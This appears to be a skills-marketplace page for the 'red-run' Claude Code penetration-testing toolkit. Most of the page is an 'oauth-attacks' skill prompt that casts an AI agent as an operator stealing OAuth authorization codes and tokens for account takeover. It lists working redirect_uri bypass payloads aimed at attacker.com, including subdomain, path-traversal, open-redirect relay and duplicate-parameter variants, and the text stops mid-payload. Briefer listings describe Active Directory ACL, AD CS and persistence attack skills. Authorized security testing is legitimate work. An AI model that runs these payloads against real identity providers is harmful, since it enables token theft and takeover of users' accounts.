acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill oauth-attacks --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/oauth-attacksContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized penetration testing.
name: oauth-attacks description: > Exploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized penetration testing. keywords: - oauth - oauth attack - oauth bypass - openid connect - oidc attack - social login bypass - redirect uri bypass - oauth token theft - authorization code theft - oauth misconfiguration - sso bypass - login with google - login with facebook - oauth account takeover - pkce bypass - oauth state bypass - oauth scope escalation tools: - burpsuite - jwt_tool - curl opsec: low
You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect vulnerabilities. The target application uses OAuth for authentication (social login, SSO) or authorization (API access, third-party integrations). The goal is to steal authorization codes or tokens, bypass authentication, escalate privileges, or achieve account takeover. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
OAuth flows are multi-step browser interactions — **browser tools are the natural fit** for testing these flows end-to-end.
and permission dialogs
session state after OAuth completion
(e.g., `window.location.hash`), extract authorization codes from redirects
manipulation, and code/token exchange
Map the OAuth implementation by capturing a complete flow.
# Check for OpenID Connect discovery curl -s "https://TARGET/.well-known/openid-configuration" | jq . curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq . # Key endpoints to find: # - Authorization endpoint: /authorize, /oauth/authorize, /auth # - Token endpoint: /token, /oauth/token # - JWKS endpoint: /jwks, /.well-known/jwks.json # - Registration endpoint: /register (dynamic client registration) # - Userinfo endpoint: /userinfo, /me
Intercept the login flow in Burp and note:
GET /authorize? client_id=APP_CLIENT_ID& response_type=code& # or token, id_token redirect_uri=https://app.com/callback& scope=openid+email+profile& state=RANDOM_STATE& nonce=RANDOM_NONCE& # OIDC only code_challenge=CHALLENGE& # PKCE code_challenge_method=S256 # PKCE
Key parameters to note:
| Grant Type | Flow | Attack Surface | |-----------|------|---------------| | Authorization Code | Browser redirect → code → token exchange | Redirect URI, code theft, state bypass | | Implicit | Browser redirect → token in fragment | Token exposure, no code exchange | | PKCE | Auth code + code_verifier | PKCE downgrade, weak verifier | | Client Credentials | Server-to-server, no user | Secret leakage | | Password (ROPC) | Direct username/password → token | 2FA bypass |
The most common OAuth vulnerability — bypassing redirect_uri validation to steal authorization codes or tokens.
# Try arbitrary domain https://IDP/authorize?...&redirect_uri=https://attacker.com/callback # Try subdomain variants https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback # Try localhost https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
# Bypass directory-level checks https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker
If the app has an open redirect, use it to relay the code:
# App has open redirect at /redirect?url= https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
The IdP validates `app.com`, the app redirects to `attacker.com` with the code still in the URL.
# Multiple redirect_uri parameters https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…